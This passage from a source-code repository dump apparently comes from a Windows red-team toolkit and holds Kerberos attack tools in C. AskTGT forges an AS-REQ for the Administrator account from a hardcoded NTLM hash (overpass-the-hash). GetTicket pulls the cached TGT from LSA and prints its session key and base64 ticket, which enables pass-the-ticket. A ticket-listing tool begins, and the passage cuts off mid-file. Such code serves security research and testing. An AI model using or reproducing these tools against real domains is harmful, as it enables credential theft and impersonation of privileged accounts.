GetDomainControllerInformation(\n\t_In_opt_ LPCSTR                    ServerName,\n\t_In_opt_ LPCSTR                    DomainName,\n\t_Inout_  PDOMAIN_CONTROLLER_INFOA* DCInformation\n) {\n\t// Get the informations\n\tDWORD Status = DsGetDcNameA(\n\t\tServerName,\n\t\tDomainName,\n\t\tNULL,\n\t\tNULL,\n\t\t(DS_FORCE_REDISCOVERY | DS_IS_DNS_NAME | DS_RETURN_DNS_NAME | DS_KDC_REQUIRED),\n\t\tDCInformation\n\t);\n\tif (Status != ERROR_SUCCESS)\n\t\treturn STATUS_UNSUCCESSFUL;\n\t\n\t// Fix the domain name and ip address to remove the \"\\\\\"\n\tSIZE_T Size1 = strlen((*DCInformation)->DomainControllerName);\n\tSIZE_T Size2 = strlen((*DCInformation)->DomainControllerAddress);\n\n\tRtlCopyMemory((*DCInformation)->DomainControllerName, (*DCInformation)->DomainControllerName + 2, Size1 - 2);\n\tRtlCopyMemory((*DCInformation)->DomainControllerAddress, (*DCInformation)->DomainControllerAddress + 2, Size2 - 2);\n\n\t(*DCInformation)->DomainControllerName[Size1 - 2] = 0x00;\n\t(*DCInformation)->DomainControllerAddress[Size2 - 2] = 0x00;\n\n\treturn STATUS_SUCCESS;\n}\n\nNTSTATUS HexStringToHex(\n\t_In_  PCSTR  BufferIn,\n\t_Out_ PBYTE* BufferOut,\n\t_Out_ INT32* BufferOutSize\n) {\n\t*BufferOutSize = 0x10;\n\t*BufferOut = calloc(0x01, 0x11);\n\n\tUINT32 b = 0x00;\n\tfor (INT32 cx = 0x00; cx < 0x10; cx++) {\n\t\tsscanf(BufferIn + (2 * cx), \"%02X\", &b);\n\t\t(*BufferOut)[cx] = (UCHAR)b;\n\t}\n\t(*BufferOut)[0x10] = 0x00;\n}\n\n/// <summary>\n/// Generate the final AS-REQ\n/// </summary>\nNTSTATUS GenerateASRequest(\n\t_In_  PCSTR  Key,\n\t_In_  PCSTR  DomainName,\n\t_In_  PCSTR  SecurityPrincipal,\n\t_Out_ PBYTE* Request,\n\t_Out_ INT32* RequestSize\n) {\n\t// 1. PVNOP and MSG-TYPE\n\tASN_ELEMENT Pvno = { 0x00 };\n\tASN_ELEMENT MessageType = { 0x00 };\n\tKerbGeneratePvnoAndType(&Pvno, &MessageType);\n\n\t// 2 Generate and encrypt the timestamp\n\tASN_ELEMENT EncryptedData = { 0x00 };\n\tKerbGenerateEncryptedData(Key, strlen(Key), &EncryptedData);\n\n\t// 3 Generate the PAC element\n\tASN_ELEMENT Pac = { 0x00 };\n\tKerbGeneratePac(&Pac);\n\n\t// 4 Generate REQ-BODY\n\tASN_ELEMENT ReqBody = { 0x00 };\n\tKerbGenerateKDCReqBody(\n\t\tDomainName,\n\t\tSecurityPrincipal,\n\t\t&ReqBody\n\t);\n\n\t// Encode everything\n\tPBYTE Data = NULL;\n\tINT32 DataSize = 0x00;\n\tKerbGenerateFinalRequest(\n\t\t&Pvno,\n\t\t&MessageType,\n\t\t&EncryptedData,\n\t\t&Pac,\n\t\t&ReqBody,\n\t\tRequest,\n\t\tRequestSize\n\t);\n\n\t// Exit\n\treturn STATUS_SUCCESS;\n}\n\n/// <summary>\n/// Entry point.\n/// </summary>\n/// <returns>Application status code</returns>\nINT main() {\n\t\n\tLPCSTR ServerName = NULL;\n\tLPCSTR DomainName = NULL;\n\n\t// 1. Get domain controller information\n\tNTSTATUS Status = STATUS_SUCCESS;\n\tPDOMAIN_CONTROLLER_INFOA DCInformation = NULL;\n\tStatus = GetDomainControllerInformation(\n\t\tNULL,\n\t\tDomainName,\n\t\t&DCInformation\n\t);\n\tif (!NT_SUCCESS(Status))\n\t\treturn EXIT_FAILURE;\n\tprintf(\"[>] Domain name      : %s\\r\\n\", DCInformation->DomainName);\n\tprintf(\"[>] Domain controller: %s (%s)\\r\\n\",\n\t\tDCInformation->DomainControllerName,\n\t\tDCInformation->DomainControllerAddress\n\t);\n\n\t// Convert the NTLM to byte array\n\tLPSTR NtlmHash = \"7FACDC498ED1680C4FD1448319A8C04F\";\n\tPBYTE NtlmHashArray = NULL;\n\tINT32 NtlmHashArraySize = NULL;\n\tHexStringToHex(NtlmHash, &NtlmHashArray, &NtlmHashArraySize);\n\n\t// 2. Build AS-REQ with pre-auth\n\tLPSTR SecurityPrincipal = \"Administrator\";\n\n\n\tPBYTE Request     = NULL;\n\tINT32 RequestSize = 0x00;\n\tGenerateASRequest(\n\t\tNtlmHashArray,\n\t\tDCInformation->DomainName,\n\t\tSecurityPrincipal,\n\t\t&Request,\n\t\t&RequestSize\n\t);\n\n\t// 3. Send the data\n\tPBYTE Response     = NULL;\n\tINT32 ResponseSize = 0x00;\n\tSockSendKerberosASRequest(\n\t\tDCInformation->DomainControllerAddress,\n\t\tRequest,\n\t\tRequestSize,\n\t\t&Response,\n\t\t&ResponseSize\n\t);\n\n\t// x. Cleanup and exit\nexit:\n\tif (DCInformation != NULL)\n\t\tNetApiBufferFree(DCInformation);\n\treturn EXIT_SUCCESS;\n}"
  },
  {
    "path": "Kerberos/AskTGT/socket.c",
    "content": "\n#include \"socket.h\"\n\n/// <summary>\n/// Initialise WinSOCK 2\n/// </summary>\nNTSTATUS SockpInitialise() {\n\tWSADATA WSAData = { 0x00 };\n\tINT Result = WSAStartup(MAKEWORD(2, 2), &WSAData);\n\treturn (Result != 0x00) ? STATUS_UNSUCCESSFUL : STATUS_SUCCESS;\n}\n\n/// <summary>\n/// Uninitialise WinSOCK 2\n/// </summary>\nNTSTATUS SockpUninitialise() {\n\tINT Result = WSACleanup();\n\treturn (Result != 0x00) ? STATUS_UNSUCCESSFUL : STATUS_SUCCESS;\n}\n\n/// <summary>\n/// Send kerberos AS-REQ to domain controller.\n/// </summary>\nNTSTATUS SockSendKerberosASRequest(\n\t_In_  LPSTR  Address,\n\t_In_  PBYTE  Request,\n\t_In_  INT32  RequestSize,\n\t_Out_ PBYTE* Response,\n\t_Out_ INT32* ResponseSize\n) {\n\t// Initialise WinSOCK 2\n\tSockpInitialise();\n\n\t// Forge the required structures\n\tPADDRINFOA AddressInfo = NULL;\n\tINT Result = getaddrinfo(\n\t\tAddress,\n\t\t\"88\",\n\t\tNULL,\n\t\t&AddressInfo\n\t);\n\tif (Result != 0x00 || AddressInfo == NULL) {\n\t\tSockpUninitialise();\n\t\treturn STATUS_UNSUCCESSFUL;\n\t}\n\t\n\t// Create socket\n\tSOCKET Socket = INVALID_SOCKET;\n\tSocket = socket(AddressInfo->ai_family, AddressInfo->ai_socktype, AddressInfo->ai_protocol);\n\tif (Socket == INVALID_SOCKET) {\n\t\tSockpUninitialise();\n\t\treturn STATUS_UNSUCCESSFUL;\n\t}\n\n\t// Connect to remote system\n\tResult = connect(Socket, AddressInfo->ai_addr, AddressInfo->ai_addrlen);\n\tif (Result == SOCKET_ERROR) {\n\t\tclosesocket(Socket);\n\t\tSockpUninitialise();\n\t\treturn STATUS_UNSUCCESSFUL;\n\t}\n\n\t// Send the size of the request first\n\tUCHAR Packet[0x04] = { 0x00 };\n\tPacket[0x00] = XLATE_UINT32(RequestSize, 0x00);\n\tPacket[0x01] = XLATE_UINT32(RequestSize, 0x01);\n\tPacket[0x02] = XLATE_UINT32(RequestSize, 0x02);\n\tPacket[0x03] = XLATE_UINT32(RequestSize, 0x03);\n\tResult = send(Socket, Packet, 0x04, 0x00);\n\n\t// Send the data now\n\tResult = send(Socket, Request, RequestSize, 0x00);\n\tif (Result == SOCKET_ERROR) {\n\t\tclosesocket(Socket);\n\t\tSockpUninitialise();\n\t\treturn STATUS_UNSUCCESSFUL;\n\t}\n\n\t// Cleanup and exit\n\tclosesocket(Socket);\n\treturn SockpUninitialise();\n}"
  },
  {
    "path": "Kerberos/AskTGT/socket.h",
    "content": "\n#ifndef __SOCKET_H_GUARD__\n#define __SOCKET_H_GUARD__\n\n#define _WINSOCK_DEPRECATED_NO_WARNINGS\n#include <WinSock2.h>\n#include <Windows.h>\n#pragma comment(lib, \"WS2_32.lib\")\n\n#define STATUS_SUCCESS            0x00000000\n#define STATUS_UNSUCCESSFUL       0xC0000001\n#define STATUS_PRIVILEGE_NOT_HELD 0xC0000061\n#define STATUS_NOT_SUPPORTED      0xC00000BB\n#define STATUS_NO_TOKEN           0xC000007C\n\n#ifndef NT_ERROR\n#define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3)\n#endif\n\n#ifndef NT_SUCCESS\n#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)\n#endif\n\n#define XLATE_UINT32(disp, x) (((ULONG32)disp & ((ULONG32)0xFF << (8 *(3 - x)))) >> (8 * (3 - x)))\n\nNTSTATUS SockSendKerberosASRequest(\n\t_In_  LPSTR  Address,\n\t_In_  PBYTE  Request,\n\t_In_  INT32  RequestSize,\n\t_Out_ PBYTE* Response,\n\t_Out_ INT32* ResponseSize\n);\n\n#endif // !__SOCKET_H_GUARD__\n"
  },
  {
    "path": "Kerberos/GetTicket/CMakeLists.txt",
    "content": "# @file        CMakeLists.txt\n# @author      Paul L. (@am0nsec)\n# @version     1.0\n# @brief       Kerberos get user TGT.\n# @details     \n# @link        https://github.com/am0nsec/wspe\n# @copyright   This project has been released under the GNU Public License v3 license.\n\nadd_executable(pktgt\n\t\"src/main.c\"\n)\n\nset_property(TARGET pktgt\n\tPROPERTY\n\tMSVC_RUNTIME_LIBRARY \"MultiThreaded$<$<CONFIG:Rlease>:Rlease>\"\n)"
  },
  {
    "path": "Kerberos/GetTicket/src/main.c",
    "content": "\n#include <Windows.h>\n#include <stdio.h>\n#include <ntsecapi.h>\n#include <wincrypt.h>\n\n#pragma comment(lib, \"ntdll.lib\")\n#pragma comment(lib, \"Secur32.lib\")\n#pragma comment(lib, \"Crypt32.lib\")\n\n#define STATUS_SUCCESS            0x00000000\n#define STATUS_PRIVILEGE_NOT_HELD 0xC0000061\n#define STATUS_NOT_SUPPORTED      0xC00000BB\n#define STATUS_NO_TOKEN           0xC000007C\n\n#ifndef NT_ERROR\n#define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3)\n#endif\n\n#ifndef NT_SUCCESS\n#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)\n#endif\n\n// Kerberos ticket encryption type\n#define KERBEROS_ETYPE_NULL_CS                    0\n#define KERBEROS_ETYPE_RSADSI_RC4_EXPORT          -141\n#define KERBEROS_ETYPE_RSADSI_RC4                 -140\n#define KERBEROS_ETYPE_RSADSI_RC4_HMAC_OLD        -133\n#define KERBEROS_ETYPE_DES_PLAIN                  -132\n#define KERBEROS_ETYPE_RSADSI_RC4_LM              -130\n#define KERBEROS_ETYPE_RSADSI_RC4_PLAIN           -129\n#define KERBEROS_ETYPE_DES_CBC_CRC                1\n#define KERBEROS_ETYPE_DES_CBC_MD5                3\n#define KERBEROS_ETYPE_AES_128_CTS_HMAC_SHA1_96   17\n#define KERBEROS_ETYPE_AES_256_CTS_HMAC_SHA1_96   18\n#define KERBEROS_ETYPE_SADSI_RC4_HMAC_NT          22\n#define KERBEROS_ETYPE_RSADSI_RC4_HMAC_NT_Export  23\n\n// Kerberos ticket flags\n#define KERBEROS_TICKET_FLAGS_RESERVED            0x80000000\n#define KERBEROS_TICKET_FLAGS_FORWARDABLE         0x40000000\n#define KERBEROS_TICKET_FLAGS_FORWARDED           0x20000000\n#define KERBEROS_TICKET_FLAGS_PROXIABLE           0x10000000\n#define KERBEROS_TICKET_FLAGS_PROXY               0x08000000\n#define KERBEROS_TICKET_FLAGS_MAY_POSTDATE        0x04000000\n#define KERBEROS_TICKET_FLAGS_POSTDATED           0x02000000\n#define KERBEROS_TICKET_FLAGS_INVALID             0x01000000\n#define KERBEROS_TICKET_FLAGS_RENEWABLE           0x00800000\n#define KERBEROS_TICKET_FLAGS_INITIAL             0x00400000\n#define KERBEROS_TICKET_FLAGS_PRE_AUTHENT         0x00200000\n#define KERBEROS_TICKET_FLAGS_HW_AUTHENT          0x00100000\n#define KERBEROS_TICKET_FLAGS_OK_HAS_DELEGATE     0x00040000\n#define KERBEROS_TICKET_FLAGS_NAME_CANONICALIZE   0x00010000\n#define KERBEROS_TICKET_FLAGS_NAME_RESERVED1      0x00000001\n\n#define _M_PRINT_KERBEROS_TICKET_FLAGS_INFO(var, flag, str) \\\n\tif((var & flag) != 0x00) { wprintf(L\"%s\", str); var = var & ~flag; }\n\n/// <summary>\n/// Get an handle to the LSA process via untrusted connection and retrive the \"Kerberos\" authentication package ID.\n/// </summary>\n/// <param name=\"phLsaHandle\">Pointer to the LSA handle</param>\n/// <param name=\"pAuthenticationPackage\">Pointer to the authentication package ID.</param>\n/// <returns>Whether the function was successful</returns>\nNTSTATUS GetLsaHandleAndPackageId(\n\t_Out_ PHANDLE phLsaHandle,\n\t_Out_ PULONG  pAuthenticationPackage\n) {\n\tNTSTATUS Status = STATUS_SUCCESS;\n\tStatus = LsaConnectUntrusted(phLsaHandle);\n\tif (NT_ERROR(Status))\n\t\treturn Status;\n\n\tLSA_STRING PackageName = { 0x00 };\n\tRtlInitString(&PackageName, \"Kerberos\");\n\n\treturn LsaLookupAuthenticationPackage(*phLsaHandle, (PLSA_STRING)&PackageName, pAuthenticationPackage);\n}\n\n/// <summary>\n/// Print unicode string\n/// </summary>\n/// <param name=\"String\">The unicode string</param>\n/// <param name=\"hProcessHeap\">Handle to the process heap</param>\nVOID PrintUnicodeString(\n\t_In_ CONST UNICODE_STRING String,\n\t_In_ CONST HANDLE         hProcessHeap\n) {\n\tWCHAR* lpBuffer = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, String.MaximumLength + 2);\n\tif (lpBuffer == NULL)\n\t\treturn;\n\n\t// Copy and print the buffer\n\tRtlCopyMemory(lpBuffer, String.Buffer, String.MaximumLength);\n\twprintf(L\"%ws\\r\\n\", lpBuffer);\n\n\t// Cleanup\n\tHeapFree(hProcessHeap, 0x00, lpBuffer);\n}\n\n/// <summary>\n/// Print Kerberos encryption type.\n/// </summary>\n/// <param name=\"EncryptionType\"></param>\nVOID PrintEType(\n\t_In_ CONST LONG EncryptionType\n) {\n\tWCHAR* Buffer = NULL;\n\n\tswitch (EncryptionType) {\n\tcase KERBEROS_ETYPE_NULL_CS:\n\t\tBuffer = L\"NULL CS\\r\\n\";\n\t\tbreak;\n\tcase KERBEROS_ETYPE_RSADSI_RC4_EXPORT:\n\t\tBuffer = L\"RSADSI RC4(Export)\\r\\n\";\n\t\tbreak;\n\tcase KERBEROS_ETYPE_RSADSI_RC4:\n\t\tBuffer = L\"RSADSI RC4\\r\\n\";\n\t\tbreak;\n\tcase KERBEROS_ETYPE_RSADSI_RC4_HMAC_OLD:\n\t\tBuffer = L\"RSADSI RC4-HMAC(Old)\\r\\n\";\n\t\tbreak;\n\tcase KERBEROS_ETYPE_DES_PLAIN:\n\t\tBuffer = L\"Kerberos DES-Plain\\r\\n\";\n\t\tbreak;\n\tcase KERBEROS_ETYPE_RSADSI_RC4_LM:\n\t\tBuffer = L\"RSADSI RC4-LM\\r\\n\";\n\t\tbreak;\n\tcase KERBEROS_ETYPE_RSADSI_RC4_PLAIN:\n\t\tBuffer = L\"RSADSI RC4-PLAIN\\r\\n\";\n\t\tbreak;\n\tcase KERBEROS_ETYPE_DES_CBC_CRC:\n\t\tBuffer = L\"Kerberos DES-CBC-CRC\\r\\n\";\n\t\tbreak;\n\tcase KERBEROS_ETYPE_DES_CBC_MD5:\n\t\tBuffer = L\"Kerberos DES-CBC-MD5\\r\\n\";\n\t\tbreak;\n\tcase KERBEROS_ETYPE_AES_128_CTS_HMAC_SHA1_96:\n\t\tBuffer = L\"AES-128-CTS-HMAC-SHA1-96\\r\\n\";\n\t\tbreak;\n\tcase KERBEROS_ETYPE_AES_256_CTS_HMAC_SHA1_96:\n\t\tBuffer = L\"AES-256-CTS-HMAC-SHA1-96\\r\\n\";\n\t\tbreak;\n\tcase KERBEROS_ETYPE_SADSI_RC4_HMAC_NT:\n\t\tBuffer = L\"RSADSI RC4-HMAC(NT)\\r\\n\";\n\t\tbreak;\n\tcase KERBEROS_ETYPE_RSADSI_RC4_HMAC_NT_Export:\n\t\tBuffer = L\"RSADSI RC4-HMAC(NT)(Export)\\r\\n\";\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n\n\twprintf(L\"%ws\", Buffer);\n}\n\n/// <summary>\n/// Display Kerberos ticket information.\n/// </summary>\n/// <param name=\"TicketFlags\">Ticket flags</param>\nVOID PrintTicketFlags(\n\t_In_ CONST LONG TicketFlags\n) {\n\tLONG Flags = TicketFlags;\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_RESERVED, L\"reserved \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_FORWARDABLE, L\"fowardable \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_FORWARDED, L\"forwarded \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_PROXIABLE, L\"proxiable \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_PROXY, L\"proxy \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_MAY_POSTDATE, L\"may_postdated \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_POSTDATED, L\"postdated \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_INVALID, L\"invalid \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_RENEWABLE, L\"renewable \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_INITIAL, L\"initial \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_PRE_AUTHENT, L\"pre_authent \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_HW_AUTHENT, L\"hw_authent \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_OK_HAS_DELEGATE, L\"ok_has_delegate \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_NAME_CANONICALIZE, L\"name_canonicalize \");\n\t_M_PRINT_KERBEROS_TICKET_FLAGS_INFO(Flags, KERBEROS_TICKET_FLAGS_NAME_RESERVED1, L\"reserved1 \");\n\twprintf(L\"\\r\\n\");\n}\n\n/// <summary>\n/// Display kerberos ticket time.\n/// </summary>\n/// <param name=\"Prefix\">Output prefix</param>\n/// <param name=\"Time\">Time</param>\nVOID PrintTime(\n\t_In_ CONST WCHAR* Prefix,\n\t_In_ CONST LARGE_INTEGER Time\n) {\n\tFILETIME LocalFileTime = { 0x00 };\n\tFileTimeToLocalFileTime(&Time.QuadPart, &LocalFileTime);\n\n\tSYSTEMTIME SystemTime = { 0x00 };\n\tFileTimeToSystemTime(&LocalFileTime, &SystemTime);\n\n\twprintf(L\"%s\", Prefix);\n\twprintf(L\"%ld/%ld/%ld %ld:%2.2ld:%2.2ld (local)\\r\\n\",\n\t\tSystemTime.wMonth,\n\t\tSystemTime.wDay,\n\t\tSystemTime.wYear,\n\t\tSystemTime.wHour,\n\t\tSystemTime.wMinute,\n\t\tSystemTime.wSecond\n\t);\n}\n\n/// <summary>\n/// Base64 encode and print the encoded ticket.\n/// </summary>\n/// <param name=\"EncodedTicket\">The raw data of the ticket.</param>\n/// <param name=\"EncodedTicketSize\">The size of the raw ticket.</param>\n/// <param name=\"hProcessHeap\">Handle to the process heap</param>\nVOID PrintEncodedTicket(\n\t_In_ CONST PUCHAR EncodedTicket,\n\t_In_ CONST DWORD  EncodedTicketSize,\n\t_In_ CONST HANDLE hProcessHeap\n) {\n\t// Get the size to allocate\n\tDWORD dwBase64Size = 0x00;\n\tBOOL Success = CryptBinaryToStringW(\n\t\tEncodedTicket,\n\t\tEncodedTicketSize,\n\t\tCRYPT_STRING_BASE64,\n\t\tNULL,\n\t\t&dwBase64Size\n\t);\n\tif (!Success || dwBase64Size == 0x00)\n\t\treturn;\n\n\t// Allocate size\n\tLPWSTR lpBase64 = HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, dwBase64Size * sizeof(WCHAR));\n\tif (lpBase64 == NULL)\n\t\treturn;\n\n\t// Convert to base64 the data\n\tSuccess = CryptBinaryToStringW(\n\t\tEncodedTicket,\n\t\tEncodedTicketSize,\n\t\tCRYPT_STRING_BASE64,\n\t\tlpBase64,\n\t\t&dwBase64Size\n\t);\n\tif (Success)\n\t\twprintf(L\"%ws\\r\\n\", lpBase64);\n\n\t// Cleanup\n\tHeapFree(hProcessHeap, 0x00, lpBase64);\n}\n\n/// <summary>\n/// Entry point.\n/// </summary>\n/// <returns>Application status code</returns>\nINT main() {\n\t// 1. Get LUID informaiton\n\tHANDLE hProcessHandle = GetCurrentProcess();\n\tHANDLE hTokenHandle = INVALID_HANDLE_VALUE;\n\tBOOL Result = OpenProcessToken(hProcessHandle, 0x2000000u, &hTokenHandle);\n\n\tTOKEN_STATISTICS Statistics = { 0x00 };\n\tDWORD dwReturnedLength = 0x00;\n\tResult = GetTokenInformation(hTokenHandle, TokenStatistics, &Statistics, sizeof(TOKEN_STATISTICS), &dwReturnedLength);\n\tif (!Result) {\n\t\tCloseHandle(hTokenHandle);\n\t\treturn EXIT_FAILURE;\n\t}\n\twprintf(L\"Current LogonId is %d:0x%08x\\r\\n\\r\\n\",\n\t\tStatistics.ModifiedId.HighPart,\n\t\tStatistics.ModifiedId.LowPart\n\t);\n\tCloseHandle(hTokenHandle);\n\n\t// 2. Connect to LSA and get the package ID\n\tNTSTATUS Status = STATUS_SUCCESS;\n\tHANDLE hLsaHandle = INVALID_HANDLE_VALUE;\n\tULONG AuthPackageKerberos = 0x00;\n\n\tStatus = GetLsaHandleAndPackageId(&hLsaHandle, &AuthPackageKerberos);\n\tif (NT_ERROR(Status))\n\t\treturn EXIT_FAILURE;\n\n\t// 3. Get Kerberos TGT\n\tNTSTATUS PackageStatus = STATUS_SUCCESS;\n\n\tKERB_RETRIEVE_TKT_REQUEST TicketRequest = { 0x00 };\n\tTicketRequest.MessageType = KerbRetrieveTicketMessage;\n\tTicketRequest.LogonId.LowPart = 0x00;\n\tTicketRequest.LogonId.HighPart = 0x00;\n\n\tPKERB_RETRIEVE_TKT_RESPONSE TicketResponse = NULL;\n\tULONG ulBufferSize = 0x00;\n\n\tStatus = LsaCallAuthenticationPackage(\n\t\thLsaHandle,\n\t\tAuthPackageKerberos,\n\t\t&TicketRequest,\n\t\tsizeof(KERB_RETRIEVE_TKT_REQUEST),\n\t\t&TicketResponse,\n\t\t&ulBufferSize,\n\t\t&PackageStatus\n\t);\n\tif (!NT_SUCCESS(Status)) {\n\t\tLsaDeregisterLogonProcess(hLsaHandle);\n\t\treturn EXIT_FAILURE;\n\t}\n\n\t// 4. Print ticket infomration\n\twprintf(L\"Cached TGT: \\r\\n\\r\\n\");\n\tHANDLE hProcessHeap = GetProcessHeap();\n\n\t// Service Name\n\twprintf(L\"ServiceName        : \");\n\tPrintUnicodeString(TicketResponse->Ticket.ServiceName->Names[0x00], hProcessHeap);\n\t// Target name\n\twprintf(L\"TargetName (SPN)   : \");\n\tPrintUnicodeString(TicketResponse->Ticket.TargetName->Names[0x00], hProcessHeap);\n\t// Client name\n\twprintf(L\"ClientName         : \");\n\tPrintUnicodeString(TicketResponse->Ticket.ClientName->Names[0x00], hProcessHeap);\n\t// Domain name\n\twprintf(L\"DomainName         : \");\n\tPrintUnicodeString(TicketResponse->Ticket.DomainName, hProcessHeap);\n\t// Target domain name\n\twprintf(L\"TargetDomainName   : \");\n\tPrintUnicodeString(TicketResponse->Ticket.TargetDomainName, hProcessHeap);\n\t// AltTargetDomainName\n\twprintf(L\"AltTargetDomainName: \");\n\tPrintUnicodeString(TicketResponse->Ticket.AltTargetDomainName, hProcessHeap);\n\t// Ticket Flags\n\twprintf(L\"Ticket Flags       :\");\n\twprintf(L\" 0x%08x ->\", TicketResponse->Ticket.TicketFlags);\n\tPrintTicketFlags(TicketResponse->Ticket.TicketFlags);\n\t// Session Key\n\twprintf(L\"Session Key        :\");\n\twprintf(L\" KeyType 0x%x - \", TicketResponse->Ticket.SessionKey.KeyType);\n\tPrintEType(TicketResponse->Ticket.SessionKey.KeyType);\n\twprintf(L\"                   :\");\n\twprintf(L\" KeyLength %d - \", TicketResponse->Ticket.SessionKey.Length);\n\tfor (DWORD cx = 0x00; cx < TicketResponse->Ticket.SessionKey.Length; cx++) {\n\t\tprintf(\"%02x \", (UCHAR)TicketResponse->Ticket.SessionKey.Value[cx]);\n\t}\n\twprintf(L\"\\r\\n\");\n\t// StartTime\n\tPrintTime(L\"StartTime          : \", TicketResponse->Ticket.StartTime);\n\t// EndTime\n\tPrintTime(L\"EndTime            : \", TicketResponse->Ticket.EndTime);\n\t// RenewUntil\n\tPrintTime(L\"RenewUntil         : \", TicketResponse->Ticket.RenewUntil);\n\t// EncodedTicket size\n\twprintf(L\"EncodedTicket      : (size: %d)\\r\\n\", TicketResponse->Ticket.EncodedTicketSize);\n\t// EncodedTicket\n\tPrintEncodedTicket(\n\t\tTicketResponse->Ticket.EncodedTicket,\n\t\tTicketResponse->Ticket.EncodedTicketSize,\n\t\thProcessHeap\n\t);\n\n\t// x. Cleanup and exit\nexit:\n\tLsaDeregisterLogonProcess(hLsaHandle);\n\treturn EXIT_SUCCESS;\n}"
  },
  {
    "path": "Kerberos/List/CMakeLists.txt",
    "content": "# @file        CMakeLists.txt\n# @author      Paul L. (@am0nsec)\n# @version     1.0\n# @brief       Kerberos list tickets.\n# @details     \n# @link        https://github.com/am0nsec/wspe\n# @copyright   This project has been released under the GNU Public License v3 license.\n\nadd_executable(pklist\n\t\"src/main.c\"\n)\n\nset_property(TARGET pklist\n\tPROPERTY\n\tMSVC_RUNTIME_LIBRARY \"MultiThreaded$<$<CONFIG:Rlease>:Rlease>\"\n)"
  },
  {
    "path": "Kerberos/List/src/main.c",
    "content": "﻿#include <Windows.h>\n#include <stdio.h>\n#include <ntsecapi.h>\n\n#pragma comment(lib, \"ntdll.lib\")\n#pragma comment(lib, \"Secur32.lib\")\n\n#define SeTcbPrivilege    7\n#define SeDebugPrivilege 20\n\n#define STATUS_SUCCESS            0x00000000\n#define STATUS_PRIVILEGE_NOT_HELD 0xC0000061\n#define STATUS_NOT_SUPPORTED      0xC00000BB\n#define STATUS_NO_TOKEN           0xC000007C\n\n#ifndef NT_ERROR\n#define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3)\n#endif\n\n#ifndef NT_SUCCESS\n#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)\n#endif\n\n// Kerberos ticket encryption type\n#define KERBEROS_ETYPE_NULL_CS                    0\n#define KERBEROS_ETYPE_RSADSI_RC4_EXPORT          -141\n#define KERBEROS_ETYPE_RSADSI_RC4                 -140\n#define KERBEROS_ETYPE_RSADSI_RC4_HMAC_OLD        -133\n#define KERBEROS_ETYPE_DES_PLAIN                  -132\n#define KERBEROS_ETYPE_RSADSI_RC4_LM              -130\n#define KERBEROS_ETYPE_RSADSI_RC4_PLAIN           -129\n#define KERBEROS_ETYPE_DES_CBC_CRC                1\n#define KERBEROS_ETYPE_DES_CBC_MD5                3\n#define KERBEROS_ETYPE_AES_128_CTS_HMAC_SHA1_96   17\n#define KERBEROS_ETYPE_AES_256_CTS_HMAC_SHA1_96   18\n#define KERBEROS_ETYPE_SADSI_RC4_HMAC_NT          22\n#define KERBEROS_ETYPE_RSADSI_RC4_HMAC_NT_Export  23\n\n// Kerberos ticket flags\n#define KERBEROS_TICKET_FLAGS_RESERVED            0x80000000\n#define KERBEROS_TICKET_FLAGS_FORWARDABLE         0x40000000\n#define KERBEROS_TICKET_FLAGS_FORWARDED           0x20000000\n#define KERBEROS_TICKET_FLAGS_PROXIABLE           0x10000000\n#define KERBEROS_TICKET_FLAGS_PROXY               0x08000000\n#define KERBEROS_TICKET_FLAGS_MAY_POSTDATE        0x04000000\n#define KERBEROS_TICKET_FLAGS_POSTDATED           0x02000000\n#define KERBEROS_TICKET_FLAGS_INVALID             0x01000000\n#define KERBEROS_TICKET_FLAGS_RENEWABLE           0x00800000\n#define KERBEROS_TICKET_FLAGS_INITIAL             0x00400000\n#define KERBEROS_TICKET_FLAGS_PRE_AUTHENT         0x00200000\n#define KERBEROS_TICKET_FLAGS_HW_AUTHENT          0x00100000\n#define KERBEROS_TICKET_FLAGS_OK_HAS_DELEGATE     0x00040000\n#define KERBEROS_TICKET_FLAGS_NAME_CANONICALIZE   0x00010000\n#define KERBEROS_TICKET_FLAGS_NAME_RESERVED1      0x00000001\n\n// Kerberos ticket cache flags\n#define KERBEROS_TICKET_CACHE_FLAGS_PRIMARY                0x00000001\n#define KERBEROS_TICKET_CACHE_FLAGS_DELEGATION             0x00000002\n#define KERBEROS_TICKET_CACHE_FLAGS_S4U                    0x00000004\n#define KERBEROS_TICKET_CACHE_FLAGS_ASC                    0x00000008\n#define KERBEROS_TICKET_CACHE_FLAGS_ENC_IN_SKEY            0x00000010\n#define KERBEROS_TICKET_CACHE_FLAGS_X509                   0x00000020\n#define KERBEROS_TICKET_CACHE_FLAGS_FAST                   0x00000040\n#define KERBEROS_TICKET_CACHE_FLAGS_COMPOUND               0x00000080\n#define 